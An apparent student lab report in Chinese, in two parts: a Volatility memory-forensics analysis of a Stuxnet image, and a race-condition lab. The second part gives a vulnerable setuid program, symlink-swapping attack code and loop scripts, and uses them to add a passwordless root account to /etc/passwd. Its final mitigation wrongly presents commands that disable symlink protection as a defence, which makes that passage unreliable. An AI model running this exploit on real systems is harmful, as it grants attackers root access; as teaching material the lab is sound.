由于调用了lsass.exe这个系统进程,因此在中毒机器内会看到至少3个lsass.exe进程。

其中一个lsass.exe是由winlogon.exe创建的,而另外两个则是由services创建的。

我们可以筛选一下,方便查看

vol.py pstree -f stuxnet.vmem --profile=WinXPSP3x86 | egrep '(services.exe|lsass.exe|winlogon.exe)'

image-20221208221511572

正常的父子进程关系:

image-20221208221555788

Stuxnet创建的进程父子关系:

image-20221208221609179

检查恶意链接

我们检查链接插件:connections

vol.py connections -f stuxnet.vmem --profile=WinXPSP3x86

image-20221208221729091

没有发现链接,我们试试查看进程监听的端口来判断恶意程序。

检查端口插件: sockets

vol.py sockets -f stuxnet.vmem --profile=WinXPSP3x86

image-20221208222049685

我们发现pid为680的lsass.exe监听了500和4500端口,而lsass监听500和4500端口是正常的。

但是pid 868 和pid 1928的两个lsass.exe 进程并没有监听任何端口,很是可疑,接着分析。

(2)实验任务二

本任务是分析 DLL 文件。

1、什么是DLL文件

DLL 是一个包含可由多个程序同时使用的代码和数据的库。简单来说,很多操作需要exe可执行文件调用dll文件才能完成。比如程序来实现“打开”对话框,可以调用Comdlg32 DLL 执行与对话框有关的常见函数。

2、分析lsass.exe调用的dll文件

使用插件:dlllist 参数:-p[pid] 过滤pid

我们发现,这两个可疑进程加载了很少的DLL文件。正常的lsass.exe(PID:680)调用了64个DLL文件,而另外两个可疑的进程分别调用了15个和35个DLL文件:

vol.py dlllist -p 680 -f stuxnet.vmem --profile=WinXPSP3x86 2>/dev/null | wc -l
vol.py dlllist -p 868 -f stuxnet.vmem --profile=WinXPSP3x86 2>/dev/null | wc -l
vol.py dlllist -p 1928 -f stuxnet.vmem --profile=WinXPSP3x86 2>/dev/null | wc -l

image-20221208222619455

此外我们可以使用ldrmodules找到隐藏的dll

vol.py -f stuxnet.vmem --profile=WinXPSP3x86 ldrmodules -p 1928

image-20221208223237719

我们发现pid 1928有跟它未链接的DLL,而这些就是隐藏的DLL。

可以使用如下命令查看更多信息:

vol.py -f stuxnet.vmem --profile=WinXPSP3x86 ldrmodules -p 1928 -v

image-20221208223456475

可以看到Stuxnet构建的名为”kernel32.dll.aslr.<随机数字>.dll”的文件。

Stuxnet利用Windows操作系统本身可以处理ASLR(缓冲区溢出的安全保护技术)的问题,将攻击代码以隐藏的方式加载到可执行内存中,精心构建名为”kernel32.dll.aslr.<随机数字>.dll”的文件,用来绕过ASLR。

3、找出注入的可执行代码或者DLL

可以使用malfind找出注入的可执行代码和DLL

正常进程pid:680没有返回任何结果:

vol.py -f stuxnet.vmem --profile=WinXPSP3x86 malfind -p 680

image-20221208223650163

但是接下来看 868和1928两个进程:

vol.py -f stuxnet.vmem --profile=WinXPSP3x86 malfind -p 868
vol.py -f stuxnet.vmem --profile=WinXPSP3x86 malfind -p 1928

image-20221208223713162

image-20221208223811857

发现了两个可疑的区域,在0x80000地址有两个进程,而且它们有PAGE_EXECUTE_READWRITE权限(正常的services.exe, lsass.exe不应该具有写权限)和MZ头,意味着PE可能存储在这里。

我们可以使用 -D DUMP_DIR, –dump-dir=DUMP_DIR 参数导出找到隐藏代码或dll文件:

vol.py -f stuxnet.vmem --profile=WinXPSP3x86 malfind -p 1928 -D out/

image-20221208224252922

本实验环境无互联网,所以这里计算了文件的sha256sum值,然后去http://www.virustotal.com 按照sha256sum值搜索可以查看报告:

image-20221208224304570

分析报告链接如下:

https://www.virustotal.com/en/file/e97d61f7393ac5838a1800f3e9aa22c6205f4d7e2bde494573d35c57bc9b7819/analysis/

https://www.virustotal.com/en/file/163b7da37df4ae6dafbfb5bf88b319dabf7846cee73d4192c6a7593e835857a8/analysis/

https://www.virustotal.com/en/file/abce3e79e26b5116fe7f3d40d21eaa4c8563e433b6086f9ec07c2925593f69dc/analysis/

https://www.virustotal.com/en/file/2b2945f7cc7cf5b30ccdf37e2adbb236594208e409133bcd56f57f7c009ffe6d/analysis/

https://www.virustotal.com/en/file/10f07b9fbbc6a8c6dc4abf7a3d31a01e478accd115b33ec94fe885cb296a3586/analysis/

https://www.virustotal.com/en/file/a4b4b29f0df45283b629203b080c09ddb5bc6eb4cd8e9b725f75121a8b7e728e/analysis/

https://www.virustotal.com/en/file/2b2945f7cc7cf5b30ccdf37e2adbb236594208e409133bcd56f57f7c009ffe6d/analysis/

image-20221208224332955

2.4 实验结果分析

通过对Stuxnet蠕虫病毒的分析,我们发现,该病毒存在恶意进程,且加载了隐藏的dll文件,利用Windows操作系统本身可以处理ASLR的问题,将攻击代码以隐藏的方式加载到可执行内存中,实现对恶意代码在受害机中的执行。

第三章 结论与心得

Stuxnet蠕虫病毒(超级工厂病毒)是世界上首个专门针对工业控制系统编写的破坏性病毒,能够利用对windows系统和西门子SIMATIC WinCC系统的7个漏洞进行攻击。通过本实验对Stuxnet蠕虫病毒的分析,我掌握了该蠕虫病毒的实现机理和分析一般dll文件的基本方法,我会在以后的学习中将这个实验中学习到的恶意代码分析方法加以运用。

实验六 竞态条件漏洞实验(选题18)

第一章 实验环境说明

本实验的操作系统环境是 Ubuntu 16.04,在蚁景云平台中完成。

第二章 竞态条件漏洞实验过程

2.1 实验任务及目的

实验任务

  1. 构造具有竞态条件漏洞的程序;
  2. 对具有竞态条件漏洞的程序进行利用与提权;
  3. 设计抵御竞态条件攻击的方法。

实验目的

  1. 熟悉竞态条件漏洞的产生原理、利用方式;
  2. 学习如何制定保护方案抵御竞态条件攻击。

2.2 实验方案设计

实验场景:操作系统环境是 Ubuntu 16.04,实验所需的文件包括具有竞态条件漏洞的程序、攻击程序等。

实验原理

竞态条件(race condition),从多进程间通信的角度来讲,是指两个或多个进程对共享的数据进行读或写的操作时,最终的结果取决于这些进程的执行顺序。

执行依赖于检测的结果,而检测结果依赖于多个线程的执行时序,而多个线程的执行时序通常情况下是不固定不可判断的,从而导致执行结果出现各种问题。

image-20230109235240477

在以上的示意图中,对于main线程,如果文件a不存在,则创建文件a,但是在判断文件a不存在之后,Task线程创建了文件a,这时候先前的判断结果已经失效,(main线程的执行依赖了一个错误的判断结果)此时文件a已经存在了,但是main线程还是会继续创建文件a,导致Task线程创建的文件a被覆盖、文件中的内容丢失等问题。

本实验将围绕竞态漏洞的利用和防御展开分析。

2.3 实验过程记录

(1)实验任务一

我们来看以下程序:

/* vulp.c */
#include <stdio.h>
#include <unistd.h>
 
int main()
{
    char * fn = "/tmp/XYZ";
    char buffer[60];
    FILE *fp;
 
    /* get user input */
    scanf("%50s", buffer );
 
    if(!access(fn, W_OK)){
        fp = fopen(fn, "a+");
        fwrite("\n", sizeof(char), 1, fp);
        fwrite(buffer, sizeof(char), strlen(buffer), fp);
        fclose(fp);
    }
    else 
        printf("No permission \n");
 
    return 0;
}

这个程序是一个 set-uid 程序(文件属主是 root ),这个程序的功能是将用户的输入,追加到 /tmp/XYZ 这个文件。因为程序是拥有 root 权限,因此在写入操作之前,我们看到程序使用了 access() 函数,用来检查执行程序的用户是否拥有对 /tmp/XYZ 文件的写入权限。

这个过程看起来很完美,用户拥有写入权限时,执行写入操作,用户没有写入权限时不执行操作。然而这个代码的流程却存在竞态条件漏洞。

我们假设这样一种情况,/tmp/XYZ 是个软连接,原本指向 /home/test/race/testfile(文件属主是 test 用户),然而 access() 函数的执行与 fopen() 函数的执行之间,时间间隔非常长,当 test 用户运行此程序且 access() 函数执行之后,**/tmp/XYZ 软连接文件被 test 用户修改**,指向了 /etc/shadow(属主是 root,其他用户无权限修改)。那么 fopen() 函数的对象,则变成了 /etc/shadow,攻击者可以成功的向 /etc/shadow 文件追加任意内容(程序本身是 setuid 程序,可以修改/etc/shadow)。

这个漏洞从理论上是存在的,然而,我们知道 access()fopen() 之间的时间间隔非常短,如何成功的利用这个竞态条件漏洞呢?由于我们使用普通用户,无法修改 vulp 程序的代码,所以只能变换思路,多次执行 vulp 程序,并且反复修改 /tmp/XYZ 文件的软连接指向的文件

(2)实验任务二

先用下面的命令禁止使用全局可写目录的符号连接:

sudo sysctl -w kernel.yama.protected_sticky_symlinks=0
# ubuntu 16.04 命令
# sudo sysctl -w fs.protected_symlinks=0

image-20230109233245753

1、添加属主为root文件内容

本实验在蚁景云平台中完成。

观察 /home/test/race 目录中的文件:

image-20230111203658899

  • rootfile 属主是 root,是我们要修改的目标文件。

  • testfile 属主是 test,用来确保通过 access() 函数的权限检查

  • vulpset-uid 程序属主是 root,是存在竞态条件漏洞的程序

  • contents_to_append 属主是 test,是我们要向 rootfile 追加的内容,可以任意修改

  • check.sh 属主是 test,用来反复执行 vulp 程序并且确保 rootfile 只修改一次。

登录实验机,切换到 test 用户:

su - test		# 密码为 test123

我们查看 rootfile,也即要添加内容的属主为 root 的文件为空:

image-20230111204006061

我们添加的内容保存在contents_to_append 中,如下:

image-20230111204110529

在执行vulp程序之前,先运行我们的 attack 程序:

int main()
{
    while(1){
        system("ln -sf /home/test/race/testfile /tmp/XYZ");
        system("ln -sf /home/test/race/rootfile /tmp/XYZ");
    }
    return 0;
}
./attack &

image-20230111204307803

我们可以写一个脚本来实现确保写入一次。因为写入一次之后,文件的时间戳会改变,因为我们通过检测rootfile的时间戳来判断是否写入成功。脚本 check.sh 代码如下:

#!/bin/sh
old=`ls -l /home/test/race/rootfile`
new=`ls -l /home/test/race/rootfile`

while [ "$old" = "$new" ]
do
	./vulp < contents_to_append
	new=`ls -l /home/test/race/rootfile`
done

echo "STOP... The root file has been changed"

运行该脚本,执行结果如下:

image-20230111204438214

可以发现,属主为 root 文件 rootfile 的内容被我们添加了。

2、添加新的拥有root权限的用户

本实验是我附加探索的内容,在虚拟机(Ubuntu 12.04)中完成。

编译 vulp.c 代码,使其为可执行文件:

gcc -o vulp vulp.c

将其设为root set-uid 程序:

sudo chown root vulp
# 使其变为set-uid程序,这个4表示其他用户执行文件时,具有与所有者相当的权限
sudo chmod 4755 vulp

由于后面要用竞态攻击来向系统添加新的拥有 root 权限的用户,这就涉及到到在 /etc/passwd 文件中新增内容,这个部分主要是确定添加的内容。

root用户对应的内容为:第一个字段为用户名,第二个字段为密码的哈希,如为x则表示密码在 /etc/shadow 文件中。

image-20230109233830541

各字段及其含义如下表所示:

字段 含义
用户名 用户登录系统时使用的用户名
密码 密码位
UID 用户标识号
GID 缺省组标识号
注释性描述 例如存放用户全名等信息
宿主目录 用户登录系统后的缺省目录
命令解释器 用户使用的Shell,默认为bash

空密码的哈希值为 U6aMy0wojraho,所以要添加的一行如下,将其保存到 passwd_input 文件中:

test:U6aMy0wojraho:0:0:test:/root:/bin/bash

同时将这一行添加到 /etc/passwd 文件的最后,尝试用test用户进行登录,可以发现可以无密码登录,且有root权限。

image-20230109233530194

将那一行从 /etc/passwd 中删去,后面我们将通过竞态攻击来向/etc/passwd增添内容。

我们实施竞态攻击来向系统添加新的拥有root权限的用户。

新建一个脚本,不停地运行上面的有漏洞的程序,并每次用 ls -l /etc/passwd 对比初始的来判断文件内容是否发送变化,即攻击是否成功。内容如下:

#!/bin/bash 
CHECK_FILE="ls -l /etc/passwd" 
old=$($CHECK_FILE) 
new=$($CHECK_FILE) 
while [ "$old" == "$new" ]
do 
	./vulp < passwd_input 
	new=$($CHECK_FILE)
done
echo "STOP... The passwd file has been changed"

用来进行攻击的代码如下:

#include <unistd.h>
 
int main() {
    while(1) {
        unlink("/tmp/XYZ");		// 原有链接删除
        symlink("/dev/null", "/tmp/XYZ");	// 任何人都有写入权限
        usleep(1000);
 
        unlink("/tmp/XYZ");
        symlink("/etc/passwd", "/tmp/XYZ");
        usleep(1000);
    }
 
    return 0;
}

在窗口1启动攻击进程:

image-20230109233551479

在窗口2启动目标进程:

bash target_process.sh

很快,我们可以观察到以下结果:

image-20230109233623306

我们使用 tail -n 5 /etc/passwd 命令查看在 /etc/passwd 中末尾的密码,发现 /etc/passwd 文件已经新增了一行 test 的:

image-20230109234008141

我们尝试用 test 账户登录:

image-20230109234031084

发现登录后具有 root 权限,可见新增了一个 root 权限的 test 用户,攻击成功。

(3)实验任务三

保护机制A:重复检查权限。

想要避免竞态条件的发生并不容易,先检查再访问这个模式在很多程序中都是存在。比起想办法移除漏洞,不如换个思路,我们可以增加更多的竞态条件,这样就能减小攻击者攻击成功的概率了。

if(!access(fn, W_OK)){
    if(!access(fn, W_OK)){
        /*嵌套n层*/
        fp = fopen(fn, "a+");
        fwrite("\n", sizeof(char), 1, fp);
        fwrite(buffer, sizeof(char), strlen(buffer), fp);
        fclose(fp);
    }
	else printf("No permission \n");
}
else printf("No permission \n");

image-20230109234336652

可以看到攻击不成功。

保护机制B:最小权限原则

该程序的根本问题就在于它违反了最小权限原则,程序员认识到运行这个程序的用户可能权利过大,所以引入access函数进行限制,但也同时引入了竞态条件的隐患。更好的方法是使用 seteuid 系统调用暂时禁止 root 权限,当需要时再恢复。

int main()
{
    char* fn = "/tmp/XYZ";
    char buffer[60];
    FILE* fp;
    /* get user input */
    scanf("%50s", buffer);
    uid_t euid = geteuid();
    seteuid(getuid());

    if (fp = fopen(fn, "a+")) {
        fwrite("\n", sizeof(char), 1, fp);
        fwrite(buffer, sizeof(char), strlen(buffer), fp);
        fclose(fp);
    }

    else printf("No permission \n");

    seteuid(euid);
}

同样可以看到攻击不成功。

保护机制C:Ubuntu内置保护方案

下面的命令可以禁止使用全局可写目录的符号连接:

# ubuntu 12.04 命令
sudo sysctl -w kernel.yama.protected_sticky_symlinks=0
# ubuntu 16.04 命令
sudo sysctl -w fs.protected_symlinks=0

2.4 实验结果分析

在本实验中,我们构造了具有竞态条件漏洞的程序,并模拟攻击者对具有竞态条件漏洞的程序构造相应漏洞利用代码进行提权,包括添加属主为root文件内容、添加新的拥有root权限的用户等。可以看到,在本案例中,产生此漏洞的根本原因是程序员未遵循最小权限原则,导致运行该程序的用户可能权利过大。我们在编写代码的过程中必须充分考虑其中的安全问题。

第三章 结论与心得

竞态条件漏洞是一类比较常见的漏洞,攻击者利用程序中存在的此类漏洞,实现在用户态下对 root 文件的内容进行追加的操作。此外,我还利用了这个原理,在试验机中实现在 /etc/passwd 文件中新增内容,从而添加新的拥有 root 权限的用户。为了避免此类漏洞,我们在实际编写代码中要树立相关安全意识,并对操作系统的补丁及时更新,从而有效防范此类漏洞的发生。


文章作者: ShiQuLiZhi
版权声明: 本博客所有文章除特别声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 ShiQuLiZhi !
评论
  目录